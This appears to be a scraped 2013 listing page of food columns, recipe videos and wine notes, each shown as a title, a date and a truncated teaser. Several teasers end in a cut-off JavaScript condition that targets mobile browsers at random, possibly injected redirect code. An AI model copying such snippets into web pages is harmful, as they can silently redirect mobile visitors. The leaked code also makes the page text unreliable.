How to Steam Halibut

Apr 5, 2013 / 3:54 pm

Cooking fish can be intimidating, but this steamed halibut recipe is so easy that a fifth grader could do it! if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Miso Sable fish with Soba noodles

Apr 2, 2013 / 9:36 am

Created by the Hotel Eldorado's Chef de Cuisine Justin Best, Miso Marinated Sable fish with Soba noodles is the one to order when it's time to pamper yourself.  Forget the fact that sable fish (aka black cod) is high in long-chain omega 3 fatty acids, EPA and DHA, and that

Foolish food

Mar 30, 2013 / 5:00 am

April Fool’s Day is coming up this week, and so I thought I would use that as inspiration to be a bit goofy. Perhaps that is in part due to spring seeming to be ahead of itself this year, what with Easter so early and the weather being so topsy-turvy – snow in the morning and warm sun

Gluten Free Grilled Salad with Shrimp

Mar 28, 2013 / 10:28 pm

Grilling isn't restricted to steaks, burgers and meats anymore! Alex shows how to stay healthy at the barbecue by throwing on some tomatoes, onions and shrimp to make this nutritious grilled salad! if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

How to Make Angry Birds Peeps

Mar 27, 2013 / 11:08 am

Shake up the ordinary routine this Easter by taking the same old Peeps marshmallows and turning them into Angry Birds marshmallows! Video: TheOfficialHungry if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Good food, good friends

Mar 23, 2013 / 5:00 am

I have spoken often in this column of the importance of quality time around the table with loved ones. It is important in many ways, as it strengthens the bonds of friendship and family, establishes traditions and keeps people healthy in body and spirit (assuming your table isn't at a fast fo

Garlic-Sauteed Rapini

Mar 20, 2013 / 3:04 pm

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One hour extra - make the most of it

Mar 16, 2013 / 5:00 am

“Springing forward” is a great thing once you’ve done it but man, I always feel like I was robbed that hour of sleep for the first few days afterwards! Once I get to the end of those days however, going outside to walk the dogs through the orchard in the continuing daylight, tha

Chocolate, avacado, spinach smoothie

Mar 6, 2013 / 2:00 pm

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'February made me shiver...'

Mar 2, 2013 / 5:00 am

Does this quote strike a chord with you? Perhaps it just rings true because of the gloomy weather recently, but for those of us who remember the tune these words come from Don Maclean’s song, “American Pie”. The song speaks of the many changes and shocking events occurring in th

Holiday brain

Feb 23, 2013 / 5:00 am

To my regular readers, I start this week by offering a humble apology. I had "holiday brain" last week; we had just returned from Jamaica and I was still reminiscing about the sun, the sand and the rum punch so I completely forgot to send in my column. A week later, but still with great

The Westside Wine Trail

Feb 13, 2013 / 10:34 am

By: Helene Scott Photo: Contributed Mission Hill Family Estate,  Reserve Cabernet Shiraz 2009 - $34.99 A blend of 51% cabernet sauvignon and 49% shiraz. Soft, ripe berries, hint of pepper, subtle smoke and spice on the nose and the structured tannins. Complex,

Fat Tuesday is fine by me!

Feb 9, 2013 / 5:00 am

Isn’t it interesting that the day proceeding the start of Lent is seen in some places as an all-out binge, as if to signify that one should load up to make sure that there are minimal regrets whilst one is supposed to abstain from those excesses in life? Or perhaps the idea was to give you


Feb 6, 2013 / 3:00 pm

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Hibernation heebee jeebies

Feb 2, 2013 / 5:00 am

Photo: Contributed This Saturday is Groundhog Day, when we supposedly learn from a socially inept rodent if winter will endure or spring will force its way through. It's not a holiday, but rather just a day to consider the season. Personally, I think it's simply an e

What goes around comes around

Jan 26, 2013 / 5:00 am

I write about the passion I have for food - its tastes and textures, the variations that come with different spices or cultural evolution, and how it affects the rest of my day. All this seems normal to me but every once in a while I do remember that there are people who don't relate to food

The dead of winter

Jan 19, 2013 / 5:00 am

Is it just me or does it seem a bit like the world has stopped, with grey days and snowy ground? It seems not even the birds talk much this time of year, except on those rare days that we see blue sky and that beautiful sun. I don't mind it too much - winter doesn't last very long in our

Gordon Ramsay learns to make sushi

Jan 18, 2013 / 2:00 pm

Gordon Ramsay visits the award winning Aaya Japanese restaurant in London's west end to try and learn to make sushi. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Healthy banana blueberry muffins

Jan 14, 2013 / 3:00 pm

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Jan 12, 2013 / 5:00 am

There is a concept in food that has been around for a while, but like most things to do with food, it has become trendy now that someone discovered it has a cool name to it. I wanted to share this with you as I thought it was quite funny, and a good example of how to have fun and not take ourselv